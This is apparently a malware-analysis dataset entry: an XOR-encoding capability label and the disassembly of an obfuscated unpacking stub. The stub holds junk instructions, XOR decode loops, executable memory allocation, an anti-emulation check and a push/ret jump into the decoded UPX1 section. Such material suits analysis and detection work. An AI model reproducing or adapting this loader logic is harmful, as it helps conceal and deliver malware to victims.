Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x2f26b779
or esi, esi
add esi, edx
popal
mov edx, 0x4fa35549
add esi, edx
mov esi, 0xaa53d1de
mov edi, 0
mov edx, ebx
mov ecx, esi
or esi, ecx
or esi, esi
mov eax, edx
sub esi, ecx
mov esi, 0x9eb73bab
mov ecx, esi
mov ebx, eax
sub ecx, esi
dec ecx
add ecx, 1
add edi, 1
or ecx, esi
sub ecx, 0x935e3e1e
inc esi
cmp edi, 0x1005b05
jne 0x47b450
inc esi
sub esi, ecx
sub esi, edx
sub edx, 0xb74dcb20
not esi
mov ebx, 0x47b21e
or eax, eax
not edx
inc esi
mov ecx, 0x47b412
sub esi, edx
not edx
sub eax, 0x7a803b28
mov edi, dword [ebx]
sub esi, 1
not edx
and eax, eax
and edi, 0xff
and edx, edx
sub edx, 0x83c6637a
not edx
xor dword [ecx], edi
add edx, 0xa7e3c525
dec esi
inc ecx
add esi, 0x210917c
add esi, eax
or esi, eax
add ebx, 1
inc eax
sub eax, 0x71c28eeb
cmp ecx, entry0
jl 0x47b4af
mov eax, esi
add edx, 0x3102fb4a
or eax, esi
add edx, esi
or edx, eax
sub esi, edi
sub esi, edi
mov ecx, 0x47b416
or edx, ebx
not edx
mov edx, ebx
mov ecx, dword [ecx]
not edi
add edi, 0x5530fe16
mov ecx, dword [ecx]
mov edx, esi
not edi
mov ebx, 0xf0277779
push ecx
mov esi, edx
add esi, 0x7c36eb91
mov ecx, 0x47b412
sub edi, 0xf8e45418
not esi
sub edi, 1
mov ecx, dword [ecx]
sub ebx, edi
and esi, edx
mov ecx, dword [ecx]
add edi, 0x36391613
not ebx
sub ebx, 0x1a4b79a9
sub esp, 4
mov dword [esp], 0x47b41a
or edx, ebx
mov esi, 0x41b37878
call ecx
sub edx, 0xa338d183
and edx, esi
add esi, 1
pop ecx
sub edi, esi
sub edx, esi
push 0x47b427
mov esi, 0xd87be02d
or esi, esi
mov ebx, edx
sub esp, 4
mov dword [esp], eax
and edx, edi
dec esi
call ecx
mov ebx, 0xf29cde89
mov esi, edi
mov esi, 0xf21fcd4b
push 0x40
add ebx, edx
sub ebx, edi
sub esp, 4
mov dword [esp], 0x3000
sub edx, edi
and ebx, edi
push 0x200009b8
inc edx
not edx
sub edi, 1
sub esp, 4
mov dword [esp], 0
dec esi
mov edi, 0x4d9a67d6
add esi, 1
call eax
sub edx, 0x2e78981
mov edi, ebx
sub edi, 0x3158d7bc
add eax, 0x20000921
dec edx
add edx, 0x28adc30d
inc edx
mov ecx, 0x55c44efc
add ebx, 0x9366dcf5
dec edi
not edx
mov dword [eax], ecx
sub edx, 0x23a9d410
inc esi
mov ecx, dword [eax]
and edi, edi
mov edx, 0x4601ce3a
inc ebx
cmp ecx, 0x55c44efc
je 0x47b630
mov ebx, 0
mov byte [ebx], cl
sub edi, 0x1c257d93
sub edi, edx
sub edi, esi
not ebx
add edi, 0xa9b32c99
or esi, esi
add esi, edx
sub esi, 0x966d0b51
mov edi, section.UPX1
add edx, 1
and esi, esi
add edx, 0x2f320ff2
mov eax, 0x47b21d
not edx
dec esi
inc esi
mov ebx, 0
sub edx, 1
mov esi, 0xd2b909ae
mov ecx, 0x47b21e
or edx, esi
or edx, edx
lea ecx, [ecx + ebx]
add edx, 1
sub edx, 0x7ae6c0c0
dec esi
mov ecx, dword [ecx]
sub edx, 0x941ced2
sub esi, edx
and ecx, 0xff
inc esi
mov edx, esi
inc ebx
mov esi, edx
or esi, edx
cmp ebx, 0x1f4
jne 0x47b6b6
mov ebx, 0
and edx, edx
mov edx, esi
or edx, edx
mov esi, edx
xor dword [edi], ecx
not edx
not esi
add edi, 2
mov esi, edx
dec edx
sub edx, 1
cmp edi, eax
jl 0x47b678
add edx, 0x75d1b54d
mov edx, esi
and edx, edx
and esi, edx
inc esi
and esi, edx
mov esi, section.UPX1
mov eax, 0x41617503
sub ecx, 0xddb7f061
mov edi, section.UPX1
add ecx, ecx
sub ecx, eax
mov ebx, 0x47b21d
sub eax, ecx
inc eax
mov edx, 0
add eax, 0xdded89f4
sub eax, 0xc5733650
mov dl, byte [edi]
mov ecx, eax
not eax
mov byte [esi], dl
add ecx, eax
sub ecx, eax
dec ecx
inc esi
sub ecx, 1
inc ecx
sub ecx, eax
add edi, 2
add ecx, eax
add ecx, 0x8124e90e
cmp edi, ebx
jle 0x47b71c
sub eax, 1
sub eax, ecx
mov esi, edx
not esi
and esi, edx
push 0x45e6a0
and edx, esi
or esi, esi
ret